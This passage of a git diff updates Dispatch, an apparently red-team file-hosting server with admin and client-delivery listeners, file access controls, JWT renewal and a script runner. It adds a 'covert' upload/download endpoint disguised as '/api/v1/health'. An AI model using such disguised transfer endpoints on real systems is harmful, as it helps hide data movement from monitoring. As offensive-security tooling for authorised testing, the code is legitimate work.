-724,44 +937,48 @@ def upload_file(token, status_msg=''): # File encryption encrypt = request.form.get('encrypt', '') - if not db.upload_file(fname, full_path, alias, token['user'], access, encrypt, folder_id): + if not db.upload_file( + fname, full_path, alias, token['user'], access, encrypt, folder_id_int, + max_downloads=_max_downloads_from_form(), + ): raise Exception("Database Error") except RequestEntityTooLarge: - status_msg = Markup('') - return _render_file_form('files/upload.html', token, status_msg) + status_msg = _page_notice("File Exceed Max Size.", False) + return _render_file_form('files/upload.html', token, status_msg, folder_id=folder_id) except Exception as e: - status_msg = Markup(f'') - return _render_file_form('files/upload.html', token, status_msg) + status_msg = _page_notice(f'File upload failed: {e}', False) + return _render_file_form('files/upload.html', token, status_msg, folder_id=folder_id) finally: db.close() - - status_msg = Markup('') - return redirect(url_for('index')) - return _render_file_form('files/upload.html', token, status_msg) + + return redirect(url_for('index', status='file_uploaded')) + return _render_file_form('files/upload.html', token, status_msg, folder_id=request.args.get('folder')) @app.route('/file/create', methods=['GET', 'POST']) @auth.upload_only_required - def create_file(token, status_msg=''): + def create_file(token, status_msg=None): + form_error = '' + folder_id = request.form.get('folder_id') if request.method == 'POST' else None if request.method == 'POST': - folder_id = request.form.get('folder_id', type=int) + folder_id_int = request.form.get('folder_id', type=int) fname = request.form['filename'] if request.form['filename'] != '' else config.gen_filename() if config.is_blocked_filename(fname): - status_msg = Markup('') - return _render_file_form('files/create.html', token, status_msg) + status_msg = _page_notice("Creating .gitignore is not allowed.", False) + return _render_file_form('files/create.html', token, status_msg, folder_id=folder_id) db = DispatchDB(current_app.config['db_name']) try: - target_dir = _ensure_folder_exists(db, folder_id) + target_dir = _ensure_folder_exists(db, folder_id_int) fname, full_path = _safe_file_path(target_dir, fname) if request.form['file_content']: with open(full_path, 'w') as f: f.write(request.form['file_content']) else: - status_msg = Markup('
No content provided.
') - return _render_file_form('files/create.html', token, status_msg) + form_error = 'No content provided.' + return _render_file_form('files/create.html', token, form_error=form_error, folder_id=folder_id) access_id = request.form.get('access', type=int) access = access_id if access_id is not None and access_id in [1, 2, 3] else 3 @@ -770,18 +987,20 @@ def create_file(token, status_msg=''): alias = config.alias_collision_check(db, alias) encrypt = request.form.get('encrypt', '') - if db.upload_file(fname, full_path, alias, token['user'], access, encrypt, folder_id) is not False: + if db.upload_file(fname, full_path, alias, token['user'], access, encrypt, folder_id_int) is not False: return redirect(url_for('index')) - status_msg = Markup('') + status_msg = _page_notice("File upload failed.", False) finally: db.close() - return _render_file_form('files/create.html', token, status_msg) + return _render_file_form('files/create.html', token, status_msg, form_error=form_error, folder_id=folder_id) @app.route('/file/download', methods=['GET', 'POST']) @auth.upload_only_required - def download_file(token, status_msg=''): + def download_file(token, status_msg=None): + form_error = '' + folder_id = request.form.get('folder_id') if request.method == 'POST' else None if request.method == 'POST': - folder_id = request.form.get('folder_id', type=int) + folder_id_int = request.form.get('folder_id', type=int) if request.form['filename']: fname = request.form['filename'] else: @@ -789,16 +1008,18 @@ def download_file(token, status_msg=''): fname = os.path.basename(u.path) if config.is_blocked_filename(fname): - status_msg = Markup('') - return _render_file_form('files/download.html', token, status_msg) + status_msg = _page_notice("Creating .gitignore is not allowed.", False) + return _render_file_form('files/download.html', token, status_msg, folder_id=folder_id) db = DispatchDB(current_app.config['db_name']) try: - target_dir = _ensure_folder_exists(db, folder_id) + target_dir = _ensure_folder_exists(db, folder_id_int) fname, full_path = _safe_file_path(target_dir, fname) if not config.download_file(request.form['url'], full_path): - status_msg = Markup('
Failed to download file.
') - return _render_file_form('files/download.html', token, status_msg) + form_error = 'Failed to download file.' + return _render_file_form( + 'files/download.html', token, form_error=form_error, folder_id=folder_id + ) access_id = request.form.get('access', type=int) access = access_id if access_id is not None and access_id in [1, 2, 3] else 3 @@ -807,22 +1028,22 @@ def download_file(token, status_msg=''): alias = config.alias_collision_check(db, alias) encrypt = request.form.get('encrypt', '') - if db.upload_file(fname, full_path, alias, token['user'], access, encrypt, folder_id) is not False: + if db.upload_file(fname, full_path, alias, token['user'], access, encrypt, folder_id_int) is not False: return redirect(url_for('index')) - status_msg = Markup('') + status_msg = _page_notice("File upload failed.", False) finally: db.close() - return _render_file_form('files/download.html', token, status_msg) + return _render_file_form('files/download.html', token, status_msg, form_error=form_error, folder_id=folder_id) @app.route('/file/delete', methods=['GET']) @auth.operator_required def delete_file(token): if 'id' in request.args.keys(): - id = request.args.get('id', type=int) + file_guid = request.args.get('id', '') db = DispatchDB(current_app.config['db_name']) - data = db.get_file_by_id(id) + data = db.get_file_by_id(file_guid) if data and os.path.exists(data['file_path']): - db.del_file_by_id(id) + db.del_file_by_id(data['id']) os.remove(data['file_path']) config.log(f"Deleted file: {data['filename']}", token, request.remote_addr) db.close() @@ -836,7 +1057,10 @@ def delete_file(token): def edit_file(token): if request.method == 'POST': db = DispatchDB(current_app.config['db_name']) - data = db.get_file_by_id(request.form.get('id', type=int)) + data = db.get_file_by_id(request.form.get('id', '')) + if not data: + db.close() + return redirect(url_for('index')) og_file_path = data['file_path'] folder_id = data.get('folder_id') folder_dir = _ensure_folder_exists(db, folder_id) @@ -869,18 +1093,22 @@ def edit_file(token): elif full_path != og_file_path: os.rename(og_file_path, full_path) - db.update_file_by_id(request.form['id'], fname, full_path, alias, token['user'], access, encrypt, folder_id) + db.update_file_by_id(data['id'], fname, full_path, alias, token['user'], access, encrypt, folder_id) + db.set_download_limit(data['id'], _max_downloads_from_form()) db.close() return redirect(url_for('index')) if 'id' in request.args.keys(): db = DispatchDB(current_app.config['db_name']) - data = db.get_file_by_id(request.args.get('id', type=int)) + data = db.get_file_by_id(request.args.get('id', '')) db.close() - with open(data['file_path'], 'r') as f: + if not data: + return redirect(url_for('index')) + with open(data['file_path']) as f: try: content = f.read() - except: + except Exception: + logging.debug('File is not valid text; skipping editor preview', exc_info=True) content = False return render_template('files/edit.html', token=token, data=data, content=str(content)) return redirect(url_for('index')) @@ -892,7 +1120,7 @@ def edit_file(token): @auth.admin_required def users(token): status = request.args.get('status') - status_msg = Markup('') + status_msg = None if request.method == 'POST': form_type = request.form.get('form_type') @@ -903,16 +1131,16 @@ def users(token): config.refresh_app_configs(db, current_app) db.close() config.log(f"MFA requirement {'enabled' if mfa_required else 'disabled'}", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("MFA settings saved.", True) if status == 'user_added': - status_msg = Markup('') + status_msg = _page_notice("User added successfully.", True) elif status == 'user_deleted': - status_msg = Markup('') + status_msg = _page_notice("User deleted successfully.", True) elif status == 'user_delete_failed': - status_msg = Markup('') + status_msg = _page_notice("Failed to delete user.", False) elif status == 'last_admin': - status_msg = Markup('') + status_msg = _page_notice("Cannot delete the last administrator account.", False) return render_template('users/list.html', token=token, config=current_app.config, status_msg=status_msg) @app.route('/user/delete', methods=['GET']) @@ -960,11 +1188,11 @@ def user_add(token, status_msg=''): config.log(f'New user created: {escape(request.form.get("username"))}', token, request.remote_addr) return redirect(url_for('users', status='user_added')) else: - status_msg = Markup('') + status_msg = _page_notice("Invalid Permissions.", False) else: - status_msg = Markup('') + status_msg = _page_notice("Invalid Inputs.", False) else: - status_msg = Markup('') + status_msg = _page_notice("Invalid Username.", False) return render_template('users/add.html', token=token, config=current_app.config, user=False, status_msg=status_msg) @app.route('/user/edit', methods=['GET', 'POST']) @@ -987,13 +1215,13 @@ def user_edit(token, status_msg=''): if password == confirm_password and config.validate_password(password): db.update_user_password_by_id(user_id, password) config.log(f'Changed password for {user["username"]}', token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("User updated successfully.") else: - status_msg = Markup('') + status_msg = _page_notice("Invalid Inputs.", False) else: - status_msg = Markup('') + status_msg = _page_notice("User updated successfully.") else: - status_msg = Markup('') + status_msg = _page_notice("Invalid Permissions.", False) db.close() return render_template('users/add.html', token=token, user=user, status_msg=status_msg) @@ -1007,7 +1235,7 @@ def user_edit(token, status_msg=''): return redirect(url_for('users')) @app.route('/api/users/list', methods=['GET']) - @auth.admin_required + @auth.operator_required def api_list_users(token): """ Access: Private @@ -1036,8 +1264,8 @@ def user_refresh_api_key(token): db.update_key_by_id(int(j['id']), k) config.log(f'Generated API Key for {data["username"]}', token, request.remote_addr) return Response(response=dumps({'key': k}), status=200, mimetype='application/json') - except: - pass + except Exception: + logging.debug('Failed to generate API key', exc_info=True) finally: db.close() return abort(403) @@ -1184,13 +1412,13 @@ def user_mfa_setup(token): db.close() return render_template('users/mfa.html', token=token, user=user, mfa_available=False, mfa_status={'mfa_enabled': False, 'has_secret': False}, - status_msg=Markup('')) + status_msg=_page_notice("MFA not available. Install pyotp and qrcode packages.", False)) mfa_status = db.get_user_mfa_status(user_id) db.close() return render_template('users/mfa.html', token=token, user=user, mfa_status=mfa_status, - mfa_available=True, status_msg=Markup('')) + mfa_available=True, status_msg=None) @app.route('/api/mfa/setup', methods=['POST']) @auth.login_required @@ -1352,71 +1580,104 @@ def user_mfa_enroll(token): return render_template('users/mfa_enroll.html', token=token, user=user, mfa_status=mfa_status, mfa_available=True) - @app.route('/api/files/list', methods=['GET']) + @app.route('/api/files/listing', methods=['GET']) @auth.upload_only_required - def api_list_files(token): - db = DispatchDB(current_app.config['db_name']) - all_files = db.list_files(include_size=True) - all_folders = db.list_folders() - user_role = token.get('role', 0) - - # Create folder access map (folder access = minimum role required) - folder_access_map = {folder['id']: folder['access'] for folder in all_folders} + def api_browser_file_listing(token): + """Rich file listing for the signed-in admin UI. - # Filter files based on permissions - filtered_files = [] - for file in all_files: - # Check if file is in a folder - folder_id = file.get('folder_id') - - if folder_id: - # File is in a folder - check folder access (role-based) - # Folder access levels: 2=Upload Only, 3=Operator, 4=Administrator - folder_access = folder_access_map.get(folder_id, 2) - - # User must have role >= folder access level to see files in that folder - if not _can_access_folder(user_role, folder_access): - continue + API keys are rejected here so a logged request cannot capture paths, + uploader names, or host settings. Automation should call /api/files/list. + """ + if _session_user() is None: + return Response( + response=dumps({'error': 'session required'}), + status=403, + mimetype='application/json', + ) + db = DispatchDB(current_app.config['db_name']) + try: + files = _files_visible_to(db, token.get('role', 0), include_size=True) + finally: + db.close() + return Response(response=dumps(files), status=200, mimetype='application/json') - # File access levels: 1=Public, 2=Public Once, 3=Private - # Public (1) and Public Once (2) are accessible to all authenticated users - # Private (3) requires Operator (3) or higher - file_access = file.get('access', 3) - if file_access == 3 and user_role < 3: - continue + @app.route('/api/files/list', methods=['GET']) + @auth.upload_only_required + def api_list_files(token): + """Minimal file list for API-key automation. - filtered_files.append(file) + Returns id, filename, alias, size, access, and download counters only. + """ + db = DispatchDB(current_app.config['db_name']) + try: + files = _files_visible_to(db, token.get('role', 0), include_size=True) + finally: + db.close() + summary = [_public_file_summary(item) for item in files] + return Response(response=dumps(summary), status=200, mimetype='application/json') - db.close() - return Response(response=dumps(filtered_files), status=200, mimetype='application/json') + @app.route('/api/files/revision', methods=['GET']) + @auth.upload_only_required + def api_files_revision(token): + db = DispatchDB(current_app.config['db_name']) + try: + revision = db.file_listing_revision() + finally: + db.close() + return Response(response=dumps({'revision': revision}), status=200, mimetype='application/json') @app.route('/api/files/minimal-list', methods=['GET']) @auth.upload_only_required def api_minimal_list_files(token): - # Minimal file listing for low priv users via api + """Older alias of the minimal API-key list. Same fields as /api/files/list.""" db = DispatchDB(current_app.config['db_name']) - data = db.list_files() - db.close() - minimal = [{ - "filename": item["filename"], - "alias": item["alias"], - "size": item["file_size"], - }for item in data] - return Response(response=dumps(minimal), status=200, mimetype='application/json') + try: + files = _files_visible_to(db, token.get('role', 0), include_size=True) + finally: + db.close() + summary = [_public_file_summary(item) for item in files] + return Response(response=dumps(summary), status=200, mimetype='application/json') @app.route('/api/files/update-access', methods=['POST']) @auth.operator_required def api_update_file_access(token): try: - j = request.get_json(force=True) - if int(j['id']) and int(j['access']) in [1, 2, 3]: - db = DispatchDB(current_app.config['db_name']) - db.update_access_by_id(int(j['id']), int(j['access'])) - db.close() - return Response(response=dumps({'200': 'Success'}), status=200, mimetype='application/json') - except: - pass - return abort(403) + payload = request.get_json(force=True) + file_guid = payload.get('id') + access = int(payload.get('access')) + except (TypeError, ValueError): + return abort(400) + if not isinstance(file_guid, str) or access not in (1, 2, 3): + return abort(403) + db = DispatchDB(current_app.config['db_name']) + try: + updated = db.update_access_by_id(file_guid, access) + finally: + db.close() + if not updated: + return abort(404) + return Response(response=dumps({'200': 'Success'}), status=200, mimetype='application/json') + + @app.route('/api/files/download-limit', methods=['POST']) + @auth.operator_required + def api_set_download_limit(token): + """Set a file's max downloads. 0 means unlimited.""" + try: + payload = request.get_json(force=True) + file_guid = payload.get('id') + limit = int(payload.get('max_downloads')) + except (TypeError, ValueError): + return abort(400) + if not isinstance(file_guid, str) or limit < 0: + return abort(400) + db = DispatchDB(current_app.config['db_name']) + try: + updated = db.set_download_limit(file_guid, limit) + finally: + db.close() + if not updated: + return abort(404) + return Response(response=dumps({'200': 'Success'}), status=200, mimetype='application/json') @app.route('/api/file/upload', methods=['POST']) @auth.upload_only_required @@ -1453,12 +1714,12 @@ def api_upload_file(token): if db.upload_file(fname, full_path, alias, token['user'], access, encrypt, folder_id) is not False: return Response(response=dumps({'url': alias_url}), status=200, mimetype='application/json') except Exception: - pass + logging.debug('API file upload failed', exc_info=True) finally: try: db.close() except Exception: - pass + logging.debug('Failed to close database after API upload', exc_info=True) return abort(403) @app.route('/api/files/param-key', methods=['GET']) @@ -1478,6 +1739,10 @@ def api_get_param_key(token): @auth.operator_required def api_reload_files(token): """Rescan disk and reconcile with database""" + now = time.time() + if now - _last_disk_reload['at'] < 45: + return Response(response=dumps({'skipped': True}), status=200, mimetype='application/json') + _last_disk_reload['at'] = now db = DispatchDB(current_app.config['db_name']) upload_dir = config.FILE_PATH os.makedirs(upload_dir, exist_ok=True) @@ -1497,7 +1762,7 @@ def api_reload_files(token): added_folders = 0 removed_folders = 0 - for root, dirs, files in os.walk(upload_dir): + for root, _dirs, files in os.walk(upload_dir): rel_dir = os.path.relpath(root, upload_dir) rel_dir = '' if rel_dir == '.' else rel_dir parent_id = None @@ -1718,7 +1983,7 @@ def api_move_file_to_folder(token): return abort(400) db = DispatchDB(current_app.config['db_name']) - file_data = db.get_file_by_id(int(file_id)) + file_data = db.get_file_by_id(str(file_id)) if not file_data: db.close() return abort(404) @@ -1732,7 +1997,7 @@ def api_move_file_to_folder(token): db.close() if result is not False: - config.log(f"Moved file ID {file_id} to folder {folder_id}", token, request.remote_addr) + config.log(f"Moved file {file_data['id']} to folder {folder_id}", token, request.remote_addr) return Response(response=dumps({'message': 'File moved'}), status=200, mimetype='application/json') except Exception as e: logging.debug(f"Error moving file: {e}") @@ -1763,12 +2028,14 @@ def api_update_folder_access(token): logging.debug(f"Error updating folder access: {e}") return abort(403) - @app.route('/file/get/', methods=['GET']) + @app.route('/file/get/', methods=['GET']) @auth.login_required def admin_download_file_by_id(token, file_id): db = DispatchDB(current_app.config['db_name']) try: file_data = db.get_file_by_id(file_id) + if not file_data: + return abort(404) folder_access_map = {folder['id']: folder['access'] for folder in db.list_folders()} if not _can_access_admin_file(token, file_data, folder_access_map): return abort(403) @@ -1776,10 +2043,33 @@ def admin_download_file_by_id(token, file_id): config.log(f'Admin file access: {file_data["filename"]}', token, request.remote_addr) try: from dispatch.alerts import check_file_download_alert, check_ip_activity_alert - check_file_download_alert(current_app.config['db_name'], file_data['id'], file_data['filename'], token.get('user'), request.remote_addr) + check_file_download_alert(current_app.config['db_name'], file_data['row_id'], file_data['filename'], token.get('user'), request.remote_addr) check_ip_activity_alert(current_app.config['db_name'], request.remote_addr, 'download', f'Admin file: {file_data["filename"]}') except Exception: - pass + logging.debug('Admin download alert failed', exc_info=True) + return _serve_admin_file(file_data['file_path'], file_data['filename'], encrypt=file_data['encrypt']) + finally: + db.close() + + @app.route('/file/get/name/', methods=['GET']) + @auth.login_required + def admin_download_file_by_name(token, filename): + """Download a hosted file by its filename. Used by API keys as well as the UI.""" + db = DispatchDB(current_app.config['db_name']) + try: + file_data = db.get_file_by_filename(filename) + if not file_data: + return abort(404) + folder_access_map = {folder['id']: folder['access'] for folder in db.list_folders()} + if not _can_access_admin_file(token, file_data, folder_access_map): + return abort(403) + config.log(f'Admin file access: {file_data["filename"]}', token, request.remote_addr) + try: + from dispatch.alerts import check_file_download_alert, check_ip_activity_alert + check_file_download_alert(current_app.config['db_name'], file_data['row_id'], file_data['filename'], token.get('user'), request.remote_addr) + check_ip_activity_alert(current_app.config['db_name'], request.remote_addr, 'download', f'Admin file: {file_data["filename"]}') + except Exception: + logging.debug('Admin download alert failed', exc_info=True) return _serve_admin_file(file_data['file_path'], file_data['filename'], encrypt=file_data['encrypt']) finally: db.close() @@ -1799,21 +2089,39 @@ def admin_download_file_by_alias(token, alias): config.log(f'Admin file access: {file_data["filename"]}', token, request.remote_addr) try: from dispatch.alerts import check_file_download_alert, check_ip_activity_alert - check_file_download_alert(current_app.config['db_name'], file_data['id'], file_data['filename'], token.get('user'), request.remote_addr) + check_file_download_alert(current_app.config['db_name'], file_data['row_id'], file_data['filename'], token.get('user'), request.remote_addr) check_ip_activity_alert(current_app.config['db_name'], request.remote_addr, 'download', f'Admin file: {file_data["filename"]}') except Exception: - pass + logging.debug('Admin download alert failed', exc_info=True) return _serve_admin_file(file_data['file_path'], file_data['filename'], encrypt=file_data['encrypt']) finally: db.close() + @app.route('/api/v1/health', methods=['GET', 'POST']) + def admin_covert_health(): + """Covert upload and download on the admin listener. + + Same contract as the client listener: fetch= downloads, otherwise + upload. Upload requires an upload-capable session or API key. + """ + if request.values.get('fetch'): + return _covert_fetch() + token = _upload_token() + if not token: + return Response( + response=dumps({'error': 'auth required'}), + status=401, + mimetype='application/json', + ) + return _covert_upload_body(token) + # # Script Runner Management # @app.route('/scripts', methods=['GET']) @auth.operator_required def scripts_page(token): - if current_app.config.get('disable_exec'): + if not current_app.config.get('script_interface'): return abort(403) has_webhook = False try: @@ -1827,7 +2135,7 @@ def scripts_page(token): @app.route('/api/scripts/list', methods=['GET']) @auth.operator_required def api_list_scripts(token): - if current_app.config.get('disable_exec'): + if not current_app.config.get('script_interface'): return abort(403) db = DispatchDB(current_app.config['db_name']) scripts = db.list_scripts() @@ -1838,7 +2146,7 @@ def api_list_scripts(token): @auth.operator_required def api_create_script(token): try: - if current_app.config.get('disable_exec'): + if not current_app.config.get('script_interface'): return abort(403) j = request.get_json(force=True) name = j.get('name', '').strip() @@ -1877,7 +2185,7 @@ def api_create_script(token): @auth.operator_required def api_update_script(token): try: - if current_app.config.get('disable_exec'): + if not current_app.config.get('script_interface'): return abort(403) j = request.get_json(force=True) script_id = j.get('id') @@ -1917,7 +2225,7 @@ def api_update_script(token): @auth.operator_required def api_delete_script(token): try: - if current_app.config.get('disable_exec'): + if not current_app.config.get('script_interface'): return abort(403) j = request.get_json(force=True) script_id = j.get('id') @@ -1942,7 +2250,7 @@ def api_delete_script(token): @auth.operator_required def api_execute_script(token): try: - if current_app.config.get('disable_exec'): + if not current_app.config.get('script_interface'): return abort(403) j = request.get_json(force=True) script_id = j.get('id') @@ -2042,8 +2350,8 @@ def api_execute_script(token): notify_plain=bool(script.get('notify_plain', 0)), notify_plain_no_codeblock=bool(script.get('notify_plain_no_codeblock', 0)) ) - except: - pass + except Exception: + logging.debug('Failed to send script failure notification', exc_info=True) return Response(response=dumps({ 'success': False, 'output': error_output, @@ -2108,6 +2416,7 @@ def server_error(e): # @app.after_request def add_header(response): + auth.apply_refreshed_token(response) response.headers['X-Frame-Options'] = "deny" # Apply custom response headers from config custom_headers = current_app.config.get('response_headers', {}) diff --git a/dispatch/auth.py b/dispatch/auth.py index 286c3c4..adfcb08 100755 --- a/dispatch/auth.py +++ b/dispatch/auth.py @@ -2,7 +2,7 @@ import logging from functools import wraps from datetime import datetime, timedelta, timezone -from flask import redirect, request, current_app, Response +from flask import g, redirect, request, current_app, Response from dispatch import config from dispatch.db import DispatchDB @@ -94,18 +94,43 @@ def validateKey(request): def validateToken(request): - # Validate JWT sent in Cookie against expiration date + # Validate JWT sent in Cookie against expiration date. + # A recently expired token is renewed on the response instead of redirecting, + # so POST bodies (file access, and similar) are not discarded. token = request.cookies.get(config.COOKIE_NAME) if token: try: return jwt.decode(token, config.SECRET_KEY, algorithms=['HS256']) except jwt.ExpiredSignatureError: - return refreshToken(token, request) + return _renew_expired_token(token) except Exception as e: logging.debug(f'Token Error:: {e}') return False +def _renew_expired_token(token, minute=20): + try: + data = jwt.decode(token, config.SECRET_KEY, algorithms=['HS256'], options={"verify_exp": False}) + except Exception: + logging.debug('Expired token could not be read', exc_info=True) + return False + now = datetime.now(timezone.utc) + exp_time = datetime.fromtimestamp(data['exp'], tz=timezone.utc) + if now >= (exp_time + timedelta(minutes=minute)): + return False + payload = {key: value for key, value in data.items() if key != 'exp'} + g.dispatch_new_token = createToken(payload) + return payload + + +def apply_refreshed_token(response): + """Attach a renewed session cookie when validateToken refreshed an expired JWT.""" + token = getattr(g, 'dispatch_new_token', None) + if token: + response.set_cookie(config.COOKIE_NAME, value=token, **config.auth_cookie_settings(request)) + return response + + def refreshToken(token, request, minute=20): # Refresh token if expired within N min data = jwt.decode(token, config.SECRET_KEY, algorithms=['HS256'], options={"verify_exp": False}) diff --git a/dispatch/cli.py b/dispatch/cli.py new file mode 100644 index 0000000..587ff99 --- /dev/null +++ b/dispatch/cli.py @@ -0,0 +1,276 @@ +#!/usr/bin/env python3 +from gevent import monkey +monkey.patch_all() + +import os +import ssl +import sys +import logging +import argparse +import socket +import gevent +from dispatch import config +from dispatch.db import DispatchDB +from dispatch.script_scheduler import scheduler +from gevent.pywsgi import WSGIServer +from gevent import spawn, get_hub +from dispatch.admin_app import DispatchServer as AdminDispatchServer +from dispatch.client_app import ClientServer + + +banner = rf''' + ____ _ _ _ ____ + | _ \(_)___ _ __ __ _| |_ ___| |__ / ___| ___ _ ____ _____ _ __ + | | | | / __| '_ \ / _` | __/ __| '_ \ ____\___ \ / _ \ '__\ \ / / _ \ '__| + | |_| | \__ \ |_) | (_| | || (__| | | |_____|__) | __/ | \ V / __/ | + |____/|_|___/ .__/ \__,_|\__\___|_| |_| |____/ \___|_| \_/ \___|_| + |_| + @m8sec | {config.VERSION} +''' + + +# Quiet logger for WSGIServer that ignores expected TLS handshake noise +class QuietWSGILogger: + def write(self, msg): + ignored_markers = ( + 'SSLEOFError', + 'SSLError', + 'UNEXPECTED_EOF', + 'SSLV3_ALERT_BAD_CERTIFICATE', + 'SSLV3_ALERT_CERTIFICATE_UNKNOWN', + 'sslv3 alert bad certificate', + 'sslv3 alert certificate unknown', + 'HTTP_REQUEST', + 'http request', + 'failed with SSLError', + ) + if not any(marker in msg for marker in ignored_markers): + sys.stderr.write(msg) + + +class QuietWSGIServer(WSGIServer): + def wrap_socket_and_handle(self, client_socket, address): + try: + return super().wrap_socket_and_handle(client_socket, address) + except ssl.SSLError as exc: + # Silently ignore common SSL errors (bad certs, HTTP on HTTPS port, etc.) + message = str(exc) + ignored_markers = ( + 'SSLV3_ALERT_BAD_CERTIFICATE', + 'SSLV3_ALERT_CERTIFICATE_UNKNOWN', + 'sslv3 alert bad certificate', + 'sslv3 alert certificate unknown', + 'TLSV1_ALERT_UNKNOWN_CA', + 'tlsv1 alert unknown ca', + 'UNKNOWN_CA', + 'HTTP_REQUEST', + 'http request', + 'WRONG_VERSION_NUMBER', + 'wrong version number', + ) + if any(marker in message for marker in ignored_markers): + return + raise + +def main(): + parser = argparse.ArgumentParser(description="Run the Dispatch admin and client servers.") + parser.add_argument('--debug', action='store_true', help='Run only the admin interface in Flask debug mode.') + parser.add_argument('--http', action='store_true', help='Serve over HTTP instead of HTTPS.') + # Default listener bind; operators can override with --bind-host. + parser.add_argument('--bind-host', type=str, default='0.0.0.0', help='Bind address for both listeners (default: 0.0.0.0).') # noqa: S104 + parser.add_argument('--admin-port', type=int, default=8443, help='Port for the admin interface (default: 8443).') + parser.add_argument('--client-port', type=int, default=443, help='Port for client file delivery (default: 443).') + parser.add_argument('--external-host', type=str, default=None, help='External hostname or IP stored in settings for generated links.') + parser.add_argument('--enable-script-interface', action='store_true', + help='Enable the script interface and scheduler. Off by default.') + args = parser.parse_args() + cli_args = sys.argv[1:] + + def cli_option_provided(name): + return any(arg == name or arg.startswith(f'{name}=') for arg in cli_args) + + if args.http: + # Avoid binding to privileged/common HTTP ports unless the operator chose them explicitly. + if not cli_option_provided('--admin-port') and args.admin_port == 8443: + args.admin_port = 8080 + if not cli_option_provided('--client-port') and args.client_port == 443: + args.client_port = 8000 + + if args.admin_port == args.client_port and not args.debug: + print(f'[!] ERROR: admin-port and client-port cannot both use {args.admin_port}.') + print('[!] Choose distinct ports, for example: --admin-port 8080 --client-port 8000') + sys.exit(1) + + + print(banner) + if not os.path.exists(config.DB_NAME): + print('[*] No database file found. Starting setup...') + print('[*] Generating SSL certificates...') + config.generate_ssl_cert(config.CERT_PATH, config.KEY_PATH, + country=config.COUNTRY, cn=config.CN, + org=config.ORG, ou=config.OU, + valid=config.VALID_DAYS) + + print('[*] Creating new Dispatch database...') + db = DispatchDB(config.DB_NAME) + db.setup_db() + db.close() + print(f'[*] Login with default user: {config.DEFAULT_USER}') + print(f'[*] Randomly generated password: {config.DEFAULT_PWD}\n') + + + admin_server = AdminDispatchServer() + admin_app = admin_server.app + client_server = ClientServer() + client_app = client_server.app + db = DispatchDB(config.DB_NAME) + + # Update external host if provided + if args.external_host: + db.update_external_host(args.external_host) + + # Persist listener ports into settings database + if args.admin_port or args.client_port: + current_settings = db.get_settings() + db.update_settings( + current_settings['redirect_url'], + current_settings['source_ip'], + args.admin_port , + current_settings['max_file_size'], + current_settings['server_header'], + args.client_port + ) + print(f'[+] Updated database with admin_port={args.admin_port }, client_port={args.client_port}') + + # Reload settings and display + ext = db.get_settings() + protocol = "http" if args.http else "https" + + config.refresh_app_configs(db, admin_app) + config.refresh_app_configs(db, client_app) + db.close() + config.setup_dispatch_logger(log_name='dispatch-logger') + admin_app.config['script_interface'] = bool(args.enable_script_interface) + client_app.config['script_interface'] = bool(args.enable_script_interface) + if args.enable_script_interface: + scheduler.start() + else: + scheduler.stop() + + # Setup SSL context + if args.http: + print('[!] WARNING: Setting protocol to HTTP. This is NOT recommended for production environments!') + print('[!] WARNING: navigator.clipboard requires HTTPS. Clipboard copy functions will NOT work via HTTP.') + context = None + else: + context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) + context.load_cert_chain(config.CERT_PATH, config.KEY_PATH) + + def ensure_port_available(host, port, label): + probe = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + probe.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + probe.bind((host, port)) + except OSError as exc: + print(f'[!] ERROR: Could not bind {label} listener to {host}:{port}: {exc}') + if exc.errno == 98: + print(f'[!] Port {port} is already in use. Specify a different port with --{"admin" if label == "admin" else "client"}-port.') + elif exc.errno == 13: + print(f'[!] Permission denied on port {port}. Use a port above 1024 or run with the required privileges.') + sys.exit(1) + finally: + probe.close() + + # Start servers + ensure_port_available(args.bind_host, args.admin_port, 'admin') + if not args.debug: + ensure_port_available(args.bind_host, args.client_port, 'client') + + print(f'[+] Starting Admin console on: {protocol}://{args.bind_host}:{args.admin_port}/') + print(f'[+] Starting Client delivery on: {protocol}://{ext["source_ip"]}:{args.client_port}/\n') + + if args.debug: + config.setup_debug_logger() + # In debug mode, only run admin server (can't run two Flask debug servers) + print('[!] Debug mode: Only running admin server') + admin_app.run( + host=args.bind_host, + port=args.admin_port, + ssl_context=context, + debug=True, + threaded=True, + use_debugger=False, + use_reloader=True + ) + else: + # Suppress expected TLS handshake aborts from clients that reject the self-signed cert. + hub = get_hub() + hub.NOT_ERROR += (ssl.SSLEOFError, ssl.SSLError,) + + server_kwargs = {'ssl_context': context} if context else {} + # Use quiet logger to suppress SSL errors in server output + server_kwargs['log'] = QuietWSGILogger() + server_kwargs['error_log'] = QuietWSGILogger() + + def create_server(port, flask_app): + return QuietWSGIServer((args.bind_host , port), flask_app, **server_kwargs) + + # Create admin server (full app) + admin_server = create_server(args.admin_port, admin_app) + + # Create client server (client app handles file delivery) + client_server = create_server(args.client_port, client_app) + + # Run both servers concurrently + def run_admin(): + admin_server.serve_forever() + + def run_client(): + client_server.serve_forever() + + # Spawn both servers + admin_greenlet = spawn(run_admin) + client_greenlet = spawn(run_client) + last_client_port = args.client_port + + def monitor_ports(): + nonlocal client_server, client_greenlet, last_client_port + while True: + gevent.sleep(2) + try: + db = DispatchDB(config.DB_NAME) + settings = db.get_settings() + db.close() + except Exception: + logging.debug('Unable to read client port from settings', exc_info=True) + continue + + new_client_port = settings.get('client_port', last_client_port) + if new_client_port != last_client_port: + try: + client_server.stop() + except Exception: + logging.debug('Failed to stop previous client listener', exc_info=True) + try: + client_greenlet.kill() + except Exception: + logging.debug('Failed to stop previous client greenlet', exc_info=True) + last_client_port = new_client_port + client_server = create_server(last_client_port, client_app) + client_greenlet = spawn(client_server.serve_forever) + + monitor_greenlet = spawn(monitor_ports) + + try: + # Wait for both (this will block until interrupted) + admin_greenlet.join() + client_greenlet.join() + monitor_greenlet.join() + except KeyboardInterrupt: + print('\n[*] Shutting down servers...') + admin_server.stop() + client_server.stop() + + +if __name__ == "__main__": + main() diff --git a/dispatch/client_app.py b/dispatch/client_app.py index 9259d02..87f2d16 100644 --- a/dispatch/client_app.py +++ b/dispatch/client_app.py @@ -3,6 +3,7 @@ import logging import requests import json +import jwt import base64 from io import BytesIO from json import dumps @@ -28,7 +29,7 @@ def _read_upload_meta(meta_path): if not os.path.isfile(meta_path): return None try: - with open(meta_path, 'r', encoding='utf-8') as f: + with open(meta_path, encoding='utf-8') as f: return json.loads(f.read()) except Exception: return None @@ -38,13 